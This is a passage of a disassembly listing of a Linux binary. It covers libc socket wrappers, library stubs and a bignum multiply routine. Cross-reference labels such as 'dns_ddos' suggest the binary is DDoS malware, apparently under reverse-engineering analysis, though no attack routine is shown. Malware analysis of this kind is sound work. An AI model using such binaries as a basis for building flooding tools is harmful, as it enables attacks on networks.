arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], edx
		mov	[ebp+var_8], ecx
		mov	edx, 0Ah
		lea	ecx, [ebp+var_10]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056B87
		neg	edx
		mov	errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056B87:				; CODE XREF: recv+34j
		mov	eax, edx
		mov	ebx, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
recv		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

recvfrom	proc near		; CODE XREF: res_send+76Bp
					; sub_8064438+2FEp

var_24		= byte ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_14]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], ecx
		mov	ebx, [ebp+arg_C]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], edi
		mov	edx, 0Ch
		lea	ecx, [ebp+var_18]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056BE1
		neg	edx
		mov	errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056BE1:				; CODE XREF: recvfrom+42j
		mov	eax, edx
		lea	esp, [ebp+var_24]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
recvfrom	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

send		proc near		; CODE XREF: real_start+8F7p
					; res_send+576p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], edx
		mov	[ebp+var_8], ecx
		mov	edx, 9
		lea	ecx, [ebp+var_10]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056C33
		neg	edx
		mov	errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056C33:				; CODE XREF: send+34j
		mov	eax, edx
		mov	ebx, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
send		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sendto		proc near		; CODE XREF: send_packet_sig3+16Dp
					; dns_ddos+35Ap ...

var_24		= byte ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_14]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], ecx
		mov	ebx, [ebp+arg_C]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], edi
		mov	edx, 0Bh
		lea	ecx, [ebp+var_18]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056C8D
		neg	edx
		mov	errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056C8D:				; CODE XREF: sendto+42j
		mov	eax, edx
		lea	esp, [ebp+var_24]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sendto		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

setsockopt	proc near		; CODE XREF: real_start+821p

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], edx
		mov	[ebp+var_C], ecx
		mov	ebx, [ebp+arg_C]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], esi
		mov	edx, 0Eh
		lea	ecx, [ebp+var_14]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056CE6
		neg	edx
		mov	errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056CE6:				; CODE XREF: setsockopt+3Bj
		mov	eax, edx
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
setsockopt	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

socket		proc near		; CODE XREF: real_start+12Ep
					; real_start+7D2p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], ecx
		mov	edx, 1
		lea	ecx, [ebp+var_C]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056D31
		neg	edx
		mov	errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056D31:				; CODE XREF: socket+2Ej
		mov	eax, edx
		mov	ebx, [ebp+var_10]
		mov	esp, ebp
		pop	ebp
		retn
socket		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8056D3C	proc near		; CODE XREF: __libc_init+50p
					; DATA XREF: __libc_subinit:080675CCo
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn
sub_8056D3C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [000000D0 BYTES: COLLAPSED FUNCTION __libc_init. PRESS KEYPAD	"+" TO EXPAND]
; [0000004E BYTES: COLLAPSED FUNCTION _strerror_internal. PRESS	KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8056E64	proc near		; CODE XREF: __libc_chdir+17p
					; __libc_close+17p ...
		push	ebp
		mov	ebp, esp
		mov	eax, offset errno
		mov	esp, ebp
		pop	ebp
		retn
sub_8056E64	endp

; [000002C2 BYTES: COLLAPSED FUNCTION __writev.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000029 BYTES: COLLAPSED FUNCTION __libc_chdir. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000029 BYTES: COLLAPSED FUNCTION __libc_close. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [0000002C BYTES: COLLAPSED FUNCTION __libc_dup2. PRESS KEYPAD	"+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION __libc_execve. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000024 BYTES: COLLAPSED FUNCTION fork. PRESS KEYPAD "+" TO	EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION __libc_geteuid. PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION __libc_getpid. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __libc_gettimeofday. PRESS KEYPAD	"+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION __libc_ioctl. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [0000002C BYTES: COLLAPSED FUNCTION __libc_kill. PRESS KEYPAD	"+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION __libc_open. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [0000002F BYTES: COLLAPSED FUNCTION __libc_read. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000024 BYTES: COLLAPSED FUNCTION __libc_setsid. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION __libc_sigprocmask. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000029 BYTES: COLLAPSED FUNCTION __libc_uname. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000029 BYTES: COLLAPSED FUNCTION remove. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000002F BYTES: COLLAPSED FUNCTION __libc_write. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000029 BYTES: COLLAPSED FUNCTION __libc_alarm. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000029 BYTES: COLLAPSED FUNCTION __libc_time. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [0000002F BYTES: COLLAPSED FUNCTION __libc_syscall_writev. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000025 BYTES: COLLAPSED FUNCTION __select.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000051 BYTES: COLLAPSED FUNCTION __sigaction. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000038 BYTES: COLLAPSED FUNCTION sigsuspend. PRESS	KEYPAD "+" TO EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

exit_		proc near		; CODE XREF: real_start+5E0p
					; real_start+68Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 1
		mov	ebx, [ebp+arg_0]
		int	80h		; LINUX	- sys_exit
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
exit_		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION __setfpucw. PRESS	KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_80575A8	proc near		; DATA XREF: __sigaction+14o
		add	esp, 4
		pop	eax
		pop	ecx
		pop	edx
		popf
		retn
sub_80575A8	endp ; sp =  14h


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_80575B0	proc near		; DATA XREF: __sigaction+20o
		add	esp, 4
		call	__sigsetmask
		add	esp, 4
		pop	eax
		pop	ecx
		pop	edx
		popf
		retn
sub_80575B0	endp ; sp =  18h

; [000001A1 BYTES: COLLAPSED FUNCTION memchr. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000004F BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000001AE BYTES: COLLAPSED FUNCTION strcat. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000016C BYTES: COLLAPSED FUNCTION strchr. PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION strcmp. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000002C BYTES: COLLAPSED FUNCTION strncmp. PRESS KEYPAD "+"	TO EXPAND]
; [000000B5 BYTES: COLLAPSED FUNCTION strpbrk. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [000001BF BYTES: COLLAPSED FUNCTION rindex. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000B3 BYTES: COLLAPSED FUNCTION strspn. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000032 BYTES: COLLAPSED FUNCTION __isinf. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [0000003E BYTES: COLLAPSED FUNCTION __isinfl.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000033 BYTES: COLLAPSED FUNCTION __isnan. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION __isnanl.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000003F BYTES: COLLAPSED FUNCTION __mpn_cmp. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000010A BYTES: COLLAPSED FUNCTION __mpn_extract_double. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [0000059D BYTES: COLLAPSED FUNCTION __mpn_divmod. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [000000D7 BYTES: COLLAPSED FUNCTION __mpn_extract_long_double. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [0000005B BYTES: COLLAPSED FUNCTION __mpn_lshift. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [0000066F BYTES: COLLAPSED FUNCTION __mpn_mul. PRESS KEYPAD "+" TO EXPAND]
		align 8
; [0000003F BYTES: COLLAPSED FUNCTION __mpn_mul_1. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000226 BYTES: COLLAPSED FUNCTION ____mpn_mul_n_basecase. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8059048	proc near		; CODE XREF: __mpn_mul+2AEp
					; __mpn_mul+2FEp ...

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_C]
		test	esi, 1
		jz	loc_805911C
		dec	esi
		mov	[ebp+var_14], esi
		cmp	esi, 1Fh
		jle	short loc_80590D4
		mov	edi, [ebp+arg_10]
		push	edi
		push	esi
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_8059048
		add	esp, 14h

loc_8059082:				; CODE XREF: sub_8059048+A4j
		mov	edi, [ebp+var_14]
		mov	esi, [ebp+arg_8]
		mov	eax, [esi+edi*4]
		push	eax
		push	edi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+arg_0]
		lea	ebx, [edi+esi*4]
		push	ebx
		call	__mpn_addmul_1
		mov	edx, eax
		mov	eax, [ebp+var_14]
		add	eax, eax
		mov	[edi+eax*4], edx
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+esi*4]
		push	eax
		mov	esi, [ebp+arg_C]
		push	esi
		mov	edi, [ebp+arg_8]
		push	edi
		push	ebx
		call	__mpn_addmul_1
		mov	edx, eax
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_14]
		mov	esi, [ebp+arg_0]
		mov	[esi+eax*4], edx
		jmp	loc_8059710
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80590D4:				; CODE XREF: sub_8059048+1Fj
		mov	edi, [ebp+var_14]
		push	edi
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+arg_0]
		push	esi
		call	____mpn_mul_n_basecase
		add	esp, 10h
		jmp	short loc_8059082
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80590F0:				; CODE XREF: sub_8059048+E0j
		mov	edi, [ebp+var_4]
		push	edi
		lea	eax, ds:0[edi*4]
		mov	edx, [ebp+arg_8]
		add	edx, eax
		push	edx
		add	eax, [ebp+arg_4]
		push	eax
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_0]
		lea	eax, [edi+esi*4]
		push	eax
		call	____mpn_mul_n_basecase
		add	esp, 10h
		jmp	short loc_8059152
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805911C:				; CODE XREF: sub_8059048+12j
		mov	esi, [ebp+arg_C]
		sar	esi, 1
		mov	[ebp+var_4], esi
		cmp	esi, 1Fh
		jle	short loc_80590F0
		mov	edi, [ebp+arg_10]
		push	edi
		push	esi
		lea	eax, ds:0[esi*4]
		mov	edx, [ebp+arg_8]
		add	edx, eax
		push	edx
		add	eax, [ebp+arg_4]
		push	eax
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_0]
		lea	eax, [edi+esi*4]
		push	eax
		call	sub_8059048
		add	esp, 14h

loc_8059152:				; CODE XREF: sub_8059048+CFj
		mov	esi, [ebp+var_4]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		lea	ebx, [edi+esi*4]
		push	ebx
		call	__mpn_cmp
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_8059180
		push	esi
		push	edi
		push	ebx
		mov	esi, [ebp+arg_0]
		push	esi
		call	__mpn_sub_n
		mov	[ebp+var_C], 0
		jmp	short loc_805919C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8059180:				; CODE XREF: sub_8059048+120j
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_4]
		lea	eax, [esi+edi*4]
		push	eax
		push	esi
		mov	edi, [ebp+arg_0]
		push	edi
		call	__mpn_sub_n
		mov	[ebp+var_C], 1

loc_805919C:				; CODE XREF: sub_8059048+135j
		add	esp, 10h
		mov	esi, [ebp+var_4]
		push	esi
		mov	edi, [ebp+arg_8]
		push	edi
		shl	esi, 2
		mov	[ebp+var_14], esi
		mov	ebx, [ebp+arg_8]
		add	ebx, esi
		push	ebx
		call	__mpn_cmp
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_80591F8
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_8]
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		push	eax
		call	__mpn_sub_n
		xor	byte ptr [ebp+var_C], 1
		jmp	short loc_8059216
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80591DC:				; CODE XREF: sub_8059048+1D5j
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_0]
		lea	eax, [esi+edi*4]
		push	eax
		push	esi
		mov	edi, [ebp+arg_10]
		push	edi
		call	____mpn_mul_n_basecase
		add	esp, 10h
		jmp	short loc_8059241
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80591F8:				; CODE XREF: sub_8059048+175j
		mov	esi, [ebp+var_4]
		push	esi
		lea	eax, ds:0[esi*4]
		mov	edx, [ebp+arg_8]
		add	edx, eax
		push	edx
		mov	edi, [ebp+arg_8]
		push	edi
		add	eax, [ebp+arg_0]
		push	eax
		call	__mpn_sub_n

loc_8059216:				; CODE XREF: sub_8059048+190j
		add	esp, 10h
		cmp	[ebp+var_4], 1Fh
		jle	short loc_80591DC
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_10]
		lea	eax, [edi+esi*4]
		push	eax
		mov	esi, [ebp+var_4]
		push	esi
		mov	edi, [ebp+arg_0]
		lea	eax, [edi+esi*4]
		push	eax
		push	edi
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_8059048
		add	esp, 14h

loc_8059241:				; CODE XREF: sub_8059048+1ACj
		cmp	[ebp+var_4], 0
		jle	loc_80592CF
		mov	edi, [ebp+arg_C]
		lea	edx, ds:0[edi*4]
		mov	esi, [ebp+var_4]
		lea	ecx, ds:0[esi*4]
		lea	ebx, [edx+ecx]
		mov	eax, esi
		and	eax, 3
		jz	short loc_80592A4
		cmp	eax, 1
		jle	short loc_8059291
		cmp	eax, 2
		jle	short loc_8059282
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+edx]
		mov	[edi+ecx], eax
		add	edx, 4
		add	ecx, 4

loc_8059282:				; CODE XREF: sub_8059048+229j
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+edx]
		mov	[esi+ecx], eax
		add	edx, 4
		add	ecx, 4

loc_8059291:				; CODE XREF: sub_8059048+224j
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+edx]
		mov	[edi+ecx], eax
		add	edx, 4
		add	ecx, 4
		cmp	edx, ebx
		jz	short loc_80592CF

loc_80592A4:				; CODE XREF: sub_8059048+21Fj
					; sub_8059048+285j
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+edx]
		mov	[esi+ecx], eax
		mov	eax, [esi+edx+4]
		mov	[esi+ecx+4], eax
		mov	eax, [esi+edx+8]
		mov	[esi+ecx+8], eax
		mov	eax, [esi+edx+0Ch]
		mov	[esi+ecx+0Ch], eax
		add	edx, 10h
		add	ecx, 10h
		cmp	edx, ebx
		jnz	short loc_80592A4

loc_80592CF:				; CODE XREF: sub_8059048+1FDj
					; sub_8059048+25Aj
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_0]
		lea	edx, [edi+esi*4]
		mov	esi, [ebp+var_4]
		lea	ebx, ds:0[esi*4]
		lea	eax, [ebx+edx]
		push	eax
		push	edx
		push	edx
		call	__mpn_add_n
		mov	[ebp+var_8], eax
		add	esp, 10h
		cmp	[ebp+var_C], 0
		jz	short loc_8059334
		mov	edi, [ebp+arg_C]
		push	edi
		mov	esi, [ebp+arg_10]
		push	esi
		mov	eax, [ebp+arg_0]
		add	eax, ebx
		push	eax
		push	eax
		call	__mpn_sub_n
		sub	[ebp+var_8], eax
		jmp	short loc_805934F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8059318:				; CODE XREF: sub_8059048+30Ej
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+arg_10]
		push	esi
		call	____mpn_mul_n_basecase
		add	esp, 10h
		jmp	short loc_805937A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8059334:				; CODE XREF: sub_8059048+2B3j
		mov	edi, [ebp+arg_C]
		push	edi
		mov	esi, [ebp+arg_10]
		push	esi
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_0]
		lea	eax, [esi+edi*4]
		push	eax
		push	eax
		call	__mpn_add_n
		add	[ebp+var_8], eax

loc_805934F:				; CODE XREF: sub_8059048+2CCj
		add	esp, 10h
		cmp	[ebp+var_4], 1Fh
		jle	short loc_8059318
		mov	edi, [ebp+arg_C]
		mov	esi, [ebp+arg_10]
		lea	eax, [esi+edi*4]
		push	eax
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_8059048
		add	esp, 14h

loc_805937A:				; CODE XREF: sub_8059048+2E8j
		mov	edi, [ebp+arg_C]
		push	edi
		mov	esi, [ebp+arg_10]
		push	esi
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_0]
		lea	ebx, [esi+edi*4]
		push	ebx
		push	ebx
		call	__mpn_add_n
		add	[ebp+var_8], eax
		add	esp, 10h
		cmp	[ebp+var_8], 0
		jz	loc_805950C
		mov	edi, [ebp+arg_C]
		lea	ebx, [ebx+edi*4]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_10], esi
		mov	edx, [ebx]
		lea	edi, [ebx+4]
		mov	[ebp+var_14], edi
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebx], eax
		mov	ebx, [ebp+var_14]
		cmp	eax, edx
		jnb	loc_805949C
		dec	esi
		mov	[ebp+var_10], esi
		jz	loc_805950C
		mov	eax, esi
		neg	eax
		and	eax, 3
		test	esi, esi
		jle	short loc_8059422
		test	eax, eax
		jz	short loc_8059440
		cmp	eax, 3
		jge	short loc_8059422
		cmp	eax, 2
		jge	short loc_805940A
		mov	edx, [ebx]
		inc	edx
		lea	esi, [ebx+4]
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		mov	ebx, [ebp+var_14]
		test	edx, edx
		jnz	loc_805949C
		mov	edi, [ebp+var_4]
		add	edi, 0FFFFFFFEh
		mov	[ebp+var_10], edi

loc_805940A:				; CODE XREF: sub_8059048+3A1j
		mov	esi, [ebp+var_14]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_805949C
		dec	[ebp+var_10]

loc_8059422:				; CODE XREF: sub_8059048+393j
					; sub_8059048+39Cj
		mov	edi, [ebp+var_14]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_14], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_805949C
		dec	[ebp+var_10]
		jz	loc_805950C

loc_8059440:				; CODE XREF: sub_8059048+397j
					; sub_8059048+44Fj
		mov	esi, [ebp+var_14]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_805949C
		dec	[ebp+var_10]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_805949C
		dec	[ebp+var_10]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_805949C
		dec	[ebp+var_10]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_805949C
		dec	[ebp+var_10]
		jnz	short loc_8059440
		jmp	short loc_805950C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805949C:				; CODE XREF: sub_8059048+37Aj
					; sub_8059048+3B3j ...
		cmp	[ebp+var_14], ebx
		jz	short loc_805950C
		xor	ecx, ecx
		mov	edi, [ebp+var_10]
		dec	edi
		mov	[ebp+var_10], edi
		cmp	ecx, edi
		jge	short loc_805950C
		mov	eax, edi
		and	eax, 3
		jz	short loc_80594E0
		cmp	eax, 1
		jle	short loc_80594D1
		cmp	eax, 2
		jle	short loc_80594C7
		mov	esi, [ebp+var_14]
		mov	eax, [esi]
		mov	[ebx], eax
		inc	ecx

loc_80594C7:				; CODE XREF: sub_8059048+475j
		mov	edi, [ebp+var_14]
